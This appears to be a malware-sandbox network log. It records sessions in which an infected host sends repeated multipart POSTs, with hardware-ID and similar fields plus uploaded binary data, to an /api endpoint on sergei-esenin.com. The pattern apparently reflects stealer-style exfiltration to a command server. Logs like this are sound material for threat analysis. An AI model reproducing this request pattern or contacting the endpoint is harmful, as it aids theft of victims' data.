2024-10-23 15:52:38 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4c4dj8514ocub4q7uumf89bs4g; expires=Sun, 16 Feb 2025 09:39:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLQ1KihsPEmGBicVFn9jMu8FkBebj1neu7RsSK0OvR82VaBjoCYao3pBFsGC6SHg63pFxg4szmKmc3DLyLgub7hUDISooWtvz%2Bu01rSnzlunxV22AAihWXUoeK8f5BxuMAxyhQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e535090f6998-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1110&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2547053&cwnd=251&unsent_bytes=0&cid=36ec02c4fe314f8c&ts=534&x=0"
2024-10-23 15:52:38 UTC	357	IN	Data Raw: 31 64 39 35 0d 0a 64 5a 37 30 64 79 54 7a 76 61 6d 68 44 4e 66 69 38 48 41 46 70 46 53 78 69 47 34 33 35 57 69 66 6b 71 2b 6f 30 45 41 34 49 5a 63 4f 76 49 4a 56 48 73 65 52 69 39 4a 70 39 64 69 45 41 6e 44 42 65 4a 50 70 43 68 58 66 44 76 37 2b 33 4d 33 38 59 6b 35 4d 74 55 2f 34 6c 52 74 58 6c 70 47 4c 78 48 54 31 32 4b 73 4c 4a 38 45 36 6b 37 4a 4d 55 6f 38 4b 2f 76 37 4e 79 62 73 76 53 45 33 30 48 66 4b 54 48 30 47 51 32 63 6a 4e 59 62 4b 48 6c 52 46 76 79 6a 33 63 34 41 4d 56 79 55 72 36 36 49 32 53 38 67 31 64 56 66 59 34 2f 34 63 63 42 6f 36 52 30 6f 4e 70 75 63 44 4b 55 6d 54 42 4e 74 33 75 43 6c 79 4e 41 50 66 32 7a 4d 79 36 4d 46 46 48 2f 78 33 38 6b 42 35 4c 6d 63 33 46 78 32 61 35 67 5a 38 52 4a 34 68 32 31 50 4a 4d 44 63 64 5a 7a 2f 50 63 32 Data Ascii: 1d95dZ70dyTzvamhDNfi8HAFpFSxiG435Wifkq+o0EA4IZcOvIJVHseRi9Jp9diEAnDBeJPpChXfDv7+3M38Yk5MtU/4lRtXlpGLxHT12KsLJ8E6k7JMUo8K/v7NybsvSE30HfKTH0GQ2cjNYbKHlRFvyj3c4AMVyUr66I2S8g1dVfY4/4ccBo6R0oNpucDKUmTBNt3uClyNAPf2zMy6MFFH/x38kB5Lmc3Fx2a5gZ8RJ4h21PJMDcdZz/Pc2
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 5a 79 32 57 2b 68 59 41 5a 62 73 73 37 30 2b 63 47 57 6f 51 4b 2b 76 72 48 78 62 67 6d 56 30 37 7a 46 2f 7a 57 57 77 61 57 78 34 75 62 4c 70 61 46 67 68 56 72 30 48 54 70 71 68 4d 62 6e 6b 72 36 2f 49 32 53 38 69 70 66 51 50 59 63 38 35 55 64 54 59 50 66 32 63 56 6a 73 4a 4b 55 46 32 6e 4d 4e 63 48 67 41 6c 4f 45 41 2f 62 35 79 4d 32 32 59 68 51 44 38 67 2b 38 7a 6c 56 6e 6e 4e 54 48 79 58 6d 31 77 49 31 63 66 6f 59 78 33 36 70 55 46 59 4d 4c 2b 66 48 4a 78 4c 77 6d 56 6b 58 37 47 76 4f 51 48 30 61 57 31 63 50 4c 62 37 69 4c 6e 52 4a 69 79 7a 4c 56 35 67 31 51 78 30 53 39 39 39 57 4b 36 6d 4a 30 52 50 59 46 76 71 4d 57 53 4a 2f 59 33 59 4e 78 2b 35 6e 53 46 57 75 47 62 70 50 6b 43 56 71 56 43 2b 2f 31 77 39 69 2b 4a 31 78 4f 39 68 6e 38 6b 78 4a 4c 6e 39 Data Ascii: Zy2W+hYAZbss70+cGWoQK+vrHxbgmV07zF/zWWwaWx4ubLpaFghVr0HTpqhMbnkr6/I2S8ipfQPYc85UdTYPf2cVjsJKUF2nMNcHgAlOEA/b5yM22YhQD8g+8zlVnnNTHyXm1wI1cfoYx36pUFYML+fHJxLwmVkX7GvOQH0aW1cPLb7iLnRJiyzLV5g1Qx0S999WK6mJ0RPYFvqMWSJ/Y3YNx+5nSFWuGbpPkCVqVC+/1w9i+J1xO9hn8kxJLn9
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 2b 35 6e 53 46 57 75 47 62 70 50 6d 42 56 57 4d 41 50 6e 77 79 73 65 33 49 56 31 41 2b 42 44 32 6d 42 4a 43 6e 64 62 47 78 57 36 79 68 4a 63 41 59 73 38 36 33 36 70 43 46 59 41 53 76 61 69 4e 35 62 55 30 57 57 7a 32 42 76 58 57 43 67 69 49 6e 38 7a 50 4c 75 33 41 6c 52 64 76 7a 54 44 62 36 68 35 51 69 51 48 38 2b 73 76 4c 76 79 35 63 51 2f 51 58 2b 70 6f 56 51 5a 62 4e 32 63 5a 6f 70 34 72 53 58 43 66 42 4c 70 4f 79 54 47 4f 58 48 65 7a 6d 6a 2f 2b 78 4c 46 52 45 34 31 66 6a 32 41 77 47 6c 74 4f 4c 6d 79 36 2b 67 4a 34 56 62 38 41 79 32 2b 55 44 58 4a 55 4c 38 66 37 66 7a 62 49 72 56 45 7a 35 48 76 47 52 47 45 32 62 30 73 2f 45 62 2f 58 4f 30 68 56 2f 68 6d 36 54 33 42 78 59 69 79 54 32 2f 4d 53 4b 72 57 78 44 41 2f 49 62 76 4d 35 56 51 70 33 58 77 63 78 Data Ascii: +5nSFWuGbpPmBVWMAPnwyse3IV1A+BD2mBJCndbGxW6yhJcAYs8636pCFYASvaiN5bU0WWz2BvXWCgiIn8zPLu3AlRdvzTDb6h5QiQH8+svLvy5cQ/QX+poVQZbN2cZop4rSXCfBLpOyTGOXHezmj/+xLFRE41fj2AwGltOLmy6+gJ4Vb8Ay2+UDXJUL8f7fzbIrVEz5HvGRGE2b0s/Eb/XO0hV/hm6T3BxYiyT2/MSKrWxDA/IbvM5VQp3Xwcx
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 68 56 6a 77 44 6d 54 70 45 78 53 6e 30 71 6c 73 4f 4c 74 68 32 42 37 65 62 55 49 73 6f 39 56 51 5a 32 66 6b 34 4e 69 74 6f 79 61 48 57 48 50 4f 74 6e 6a 42 31 6d 4d 44 76 48 35 79 4d 79 7a 4a 31 39 43 38 52 76 32 6b 42 5a 46 6e 74 44 45 79 79 37 37 77 4a 55 4b 4a 35 35 32 39 76 30 48 57 34 46 4b 34 72 37 55 69 72 55 75 47 68 75 31 47 2f 57 51 45 30 4f 64 33 73 33 4c 61 37 32 45 6b 78 52 68 78 54 6e 58 37 77 31 61 67 77 62 7a 2b 73 7a 4c 76 69 6c 56 53 50 42 58 73 74 59 53 58 74 47 48 69 2f 4a 74 6f 35 65 43 48 69 66 5a 65 4d 71 71 43 31 6e 48 55 72 33 78 33 38 43 34 4c 46 39 4d 38 42 54 7a 6b 52 68 41 6e 64 58 43 79 32 69 36 69 59 41 52 61 38 67 78 33 65 59 43 57 49 30 4a 38 4c 43 44 69 72 55 36 47 68 75 31 4f 2f 75 62 4f 30 32 64 32 49 76 63 49 4b 7a 41 Data Ascii: hVjwDmTpExSn0qlsOLth2B7ebUIso9VQZ2fk4NitoyaHWHPOtnjB1mMDvH5yMyzJ19C8Rv2kBZFntDEyy77wJUKJ5529v0HW4FK4r7UirUuGhu1G/WQE0Od3s3La72EkxRhxTnX7w1agwbz+szLvilVSPBXstYSXtGHi/Jto5eCHifZeMqqC1nHUr3x38C4LF9M8BTzkRhAndXCy2i6iYARa8gx3eYCWI0J8LCDirU6Ghu1O/ubO02d2IvcIKzA
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 35 32 69 36 6f 36 55 70 63 61 2f 72 4c 38 33 4c 45 30 55 55 37 35 56 2b 50 59 44 41 61 57 30 34 75 62 4c 72 4f 50 6d 78 46 6f 78 7a 2f 66 35 77 6c 63 67 67 76 37 39 4d 66 41 73 69 52 63 51 76 41 64 2f 35 63 66 54 35 62 58 7a 4d 42 38 39 63 37 53 46 58 2b 47 62 70 50 44 43 30 65 4a 47 72 33 76 67 39 50 79 4a 56 59 44 72 56 66 34 6e 42 70 43 6c 74 50 4e 78 6d 69 34 67 5a 30 54 5a 38 6b 79 32 4f 4d 4b 56 49 6f 50 38 50 54 66 77 4c 6b 74 56 6b 72 35 47 72 7a 59 56 55 47 4a 6e 35 4f 44 58 37 69 4f 6e 42 56 78 68 69 6d 64 38 30 78 53 69 30 71 6c 73 4d 7a 47 76 53 46 56 51 50 59 57 39 6f 51 48 53 70 6a 58 7a 73 39 6c 75 34 61 41 46 47 6a 50 4e 64 44 6a 43 31 32 4c 41 50 37 33 6a 59 54 79 4a 55 49 44 72 56 66 66 67 51 56 4c 30 63 43 46 32 69 36 79 6a 4e 4a 4b 4a Data Ascii: 52i6o6Upca/rL83LE0UU75V+PYDAaW04ubLrOPmxFoxz/f5wlcggv79MfAsiRcQvAd/5cfT5bXzMB89c7SFX+GbpPDC0eJGr3vg9PyJVYDrVf4nBpCltPNxmi4gZ0TZ8ky2OMKVIoP8PTfwLktVkr5GrzYVUGJn5ODX7iOnBVxhimd80xSi0qlsMzGvSFVQPYW9oQHSpjXzs9lu4aAFGjPNdDjC12LAP73jYTyJUIDrVffgQVL0cCF2i6yjNJKJ
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 73 41 31 71 4f 41 2f 6e 34 7a 73 71 32 4a 6c 31 47 39 68 76 33 6b 52 5a 4a 6c 64 62 46 79 6d 48 31 7a 74 49 56 66 34 5a 75 6b 38 73 58 56 6f 73 48 76 65 2b 44 30 2f 49 6c 56 67 4f 74 56 2f 43 59 45 45 61 62 32 63 2f 47 61 4c 2b 46 6b 68 6c 6b 79 54 4c 56 37 67 4e 56 6a 41 50 38 39 73 6a 41 75 53 52 58 51 50 4d 52 76 4e 68 56 51 59 6d 66 6b 34 4e 4f 72 6f 32 65 46 53 66 5a 65 4d 71 71 43 31 6e 48 55 72 33 37 77 63 36 31 49 6c 64 41 2f 52 4c 34 6e 42 42 47 6d 63 33 44 77 32 6d 6e 6b 70 49 62 59 73 6f 31 30 2b 34 4b 58 49 45 4a 2b 62 43 44 69 72 55 36 47 68 75 31 4f 76 43 52 50 45 47 4b 6e 39 53 4e 64 2f 57 48 6e 6c 49 2f 68 6a 66 59 34 41 4e 59 68 41 7a 2b 2b 38 6a 41 73 79 56 53 54 75 63 55 38 35 6b 52 52 70 37 5a 7a 63 4a 68 73 34 65 62 45 32 2f 42 64 70 Data Ascii: sA1qOA/n4zsq2Jl1G9hv3kRZJldbFymH1ztIVf4Zuk8sXVosHve+D0/IlVgOtV/CYEEab2c/GaL+FkhlkyTLV7gNVjAP89sjAuSRXQPMRvNhVQYmfk4NOro2eFSfZeMqqC1nHUr37wc61IldA/RL4nBBGmc3Dw2mnkpIbYso10+4KXIEJ+bCDirU6Ghu1OvCRPEGKn9SNd/WHnlI/hjfY4ANYhAz++8jAsyVSTucU85kRRp7ZzcJhs4ebE2/Bdp
2024-10-23 15:52:38 UTC	379	IN	Data Raw: 6b 51 44 36 34 4d 72 64 76 57 49 55 41 2f 70 58 70 4b 39 56 54 35 62 45 32 74 56 6a 70 59 66 53 4c 53 6d 47 4c 70 4f 79 54 47 43 45 42 50 50 33 32 39 76 2f 42 55 78 4a 38 67 66 37 67 52 6f 47 33 35 2f 4e 67 7a 62 6d 7a 74 49 57 64 6f 5a 75 67 37 68 58 41 4e 52 64 72 61 4c 53 68 4b 74 69 54 41 4f 74 52 62 4c 57 42 77 62 4a 6e 34 7a 41 66 4b 65 47 6b 51 52 6b 67 51 6a 74 7a 52 5a 59 67 52 33 73 7a 76 50 4e 71 43 39 63 56 4f 52 62 36 5a 55 62 53 4a 62 4a 69 34 30 75 75 73 44 4b 4b 79 65 4f 64 75 79 6b 54 45 33 48 55 72 33 46 7a 73 53 38 4a 55 78 53 75 44 44 6d 6d 78 4e 52 67 4a 2b 46 67 32 6a 31 32 4d 4a 63 4a 38 49 6e 6b 37 4a 63 42 39 78 66 72 71 65 64 6d 4b 31 73 51 77 50 6a 56 36 54 45 57 77 61 44 6e 35 4f 44 4b 62 61 53 67 42 52 6b 30 44 57 55 31 44 4a Data Ascii: kQD64MrdvWIUA/pXpK9VT5bE2tVjpYfSLSmGLpOyTGCEBPP329v/BUxJ8gf7gRoG35/NgzbmztIWdoZug7hXANRdraLShKtiTAOtRbLWBwbJn4zAfKeGkQRkgQjtzRZYgR3szvPNqC9cVORb6ZUbSJbJi40uusDKKyeOduykTE3HUr3FzsS8JUxSuDDmmxNRgJ+Fg2j12MJcJ8Ink7JcB9xfrqedmK1sQwPjV6TEWwaDn5ODKbaSgBRk0DWU1DJ
2024-10-23 15:52:38 UTC	1369	IN	Data Raw: 37 66 66 0d 0a 41 6a 51 2f 41 46 61 6a 41 76 44 7a 75 50 48 73 79 46 55 41 63 51 42 38 59 59 57 51 35 62 68 39 63 31 70 6f 59 65 63 46 47 65 47 65 4a 50 6c 54 41 32 2b 53 72 57 77 38 6f 54 79 4f 68 6f 62 74 53 4c 2f 6d 42 74 42 68 38 36 47 34 48 69 34 6a 35 6b 54 4a 34 68 32 31 61 70 55 42 63 6c 4b 2b 65 47 4e 6b 75 4a 77 41 52 61 6d 51 4b 7a 45 43 67 69 49 6e 39 32 44 4e 75 66 4f 30 67 41 6e 6e 6e 61 55 35 41 46 55 68 41 54 2b 34 74 2f 4d 73 54 52 5a 42 4d 73 70 33 5a 73 65 53 70 7a 51 77 50 31 51 6c 49 32 5a 48 6d 72 4a 50 65 33 55 47 56 61 4a 42 50 72 6d 33 49 72 38 59 6c 55 44 72 53 36 38 33 6c 56 35 33 35 2f 54 67 7a 62 31 74 5a 45 63 61 63 45 67 77 71 63 74 57 49 77 47 38 50 2f 47 69 76 78 69 58 41 4f 74 52 37 4c 57 45 56 66 52 68 35 75 52 4e 65 44 Data Ascii: 7ffAjQ/AFajAvDzuPHsyFUAcQB8YYWQ5bh9c1poYecFGeGeJPlTA2+SrWw8oTyOhobtSL/mBtBh86G4Hi4j5kTJ4h21apUBclK+eGNkuJwARamQKzECgiIn92DNufO0gAnnnaU5AFUhAT+4t/MsTRZBMsp3ZseSpzQwP1QlI2ZHmrJPe3UGVaJBPrm3Ir8YlUDrS683lV535/Tgzb1tZEcacEgwqctWIwG8P/GivxiXAOtR7LWEVfRh5uRNeD
2024-10-23 15:52:38 UTC	685	IN	Data Raw: 38 41 78 79 65 30 4b 63 36 64 4b 73 37 44 43 69 75 6f 62 47 67 75 31 4b 4c 4c 57 44 51 62 4a 6e 2f 37 41 59 4c 75 48 68 41 4d 71 34 79 48 51 2b 67 70 57 78 30 53 39 39 6f 32 53 34 6d 77 61 52 2b 52 58 70 4d 5a 48 48 63 53 4d 6e 4a 4d 38 71 73 36 4c 55 6e 47 47 62 6f 47 6b 54 45 66 48 55 72 32 33 7a 74 69 67 4a 46 6c 56 39 6c 44 43 71 44 4e 46 67 4e 58 71 7a 6e 36 79 76 71 77 48 5a 4d 67 34 31 50 77 64 46 63 6c 4b 38 72 43 56 38 2f 4a 71 46 6b 58 32 41 62 79 70 57 77 61 4a 6e 35 4f 44 57 37 61 4f 6e 42 56 78 31 33 76 31 36 52 31 66 70 67 66 74 39 34 32 45 38 69 51 61 47 36 5a 5a 76 4a 49 45 42 73 6d 50 6d 5a 67 37 35 74 66 43 51 48 69 49 4c 35 50 38 54 41 33 56 52 4c 33 69 6a 5a 4c 79 5a 56 6c 52 35 78 48 2f 67 42 59 42 72 2b 48 2b 77 47 43 37 68 34 51 6e Data Ascii: 8Axye0Kc6dKs7DCiuobGgu1KLLWDQbJn/7AYLuHhAMq4yHQ+gpWx0S99o2S4mwaR+RXpMZHHcSMnJM8qs6LUnGGboGkTEfHUr23ztigJFlV9lDCqDNFgNXqzn6yvqwHZMg41PwdFclK8rCV8/JqFkX2AbypWwaJn5ODW7aOnBVx13v16R1fpgft942E8iQaG6ZZvJIEBsmPmZg75tfCQHiIL5P8TA3VRL3ijZLyZVlR5xH/gBYBr+H+wGC7h4Qn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50070	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:40 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-23 15:52:40 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:52:40 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eipun7kvke7tkfl2ee5nm8an9i; expires=Sun, 16 Feb 2025 09:39:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bE2xQ9snX5d9Z68PvoHy61Y%2B%2FfOGFinM1q0fqofauBakdMhhppAgshBxXTdJhz%2Bhxxnej4Mo542pkA2L7Xkpjxe9D8%2BDQFVYTzweLfY9eiBgL0ODAT%2B9WK3%2F6q9Yq7pHiakv0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e5458bdd4750-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13894&delivery_rate=2377668&cwnd=244&unsent_bytes=0&cid=8824424bc271962c&ts=502&x=0"
2024-10-23 15:52:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:52:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50072	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:43 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-23 15:52:43 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:52:43 UTC	1022	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r3rl03ode1fi0ibsi9q5601umj; expires=Sun, 16 Feb 2025 09:39:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pyxBUlEg1pssyKeObOiZP3%2FZnqDhNd%2BEOijgtzB6r0Z6ZYOO%2Foh8ZS0q5XwNIiLizR8LW%2F0C9ZI0eO4IrpwtUfb8PfA78T%2BdO5gwFE8lgFUCUIK6jcr9In0AfllnulJVqiJs2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e555ce4e6b4c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16140&delivery_rate=2479452&cwnd=231&unsent_bytes=0&cid=09f8951d0db31903&ts=611&x=0"
2024-10-23 15:52:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:52:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	50075	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:45 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-23 15:52:45 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 39 36 31 31 32 42 39 35 36 38 38 35 41 31 42 31 35 33 45 36 37 38 46 36 45 34 45 38 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4296112B956885A1B153E678F6E4E86B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 15:52:45 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-23 15:52:45 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l71uqoqp3uj7elqmtel4lb85le; expires=Sun, 16 Feb 2025 09:39:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E0su2DZ%2FQwgeoKQ2WXRKtHJxDxzQCseqIVK2B3SHF3TLCATFsHtF2vi2dEZSQXcl75oTfTIRofRYFA%2B%2F9beE6CtrtMCiTwVoFOJnEWnS6iPtafuqQ%2BIJwcguDtW6Cy8UIgqwdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d72e5631bb4ddb3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1106&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=2547053&cwnd=68&unsent_bytes=0&cid=8b2010b8a47e3923&ts=682&x=0"
2024-10-23 15:52:45 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 15:52:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	50078	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 15:52:48 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=UVDgeXc5JG2vhcV7V67wq1KVPVLkEyGm2R2_HhgVstU-1729698756-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1256 Host: sergei-esenin.com
